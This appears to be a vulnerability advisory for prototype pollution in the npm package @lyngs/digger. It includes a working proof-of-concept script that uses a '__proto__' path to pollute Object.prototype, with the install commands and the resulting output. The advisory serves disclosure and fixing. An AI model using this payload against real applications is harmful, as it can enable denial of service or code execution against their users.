vulnerability prototype pollution
severity 7.3
language javascript
registry npm


@lyngs/digger is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var digger = require("@lyngs/digger")
console.log("Before : " + {}.polluted);
digger.digger({}, '__proto__.polluted', 'Yes! Its Polluted', {extend: true})
console.log("After : " + {}.polluted);

  1. Execute the following commands in another terminal:
npm install @lyngs/digger # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted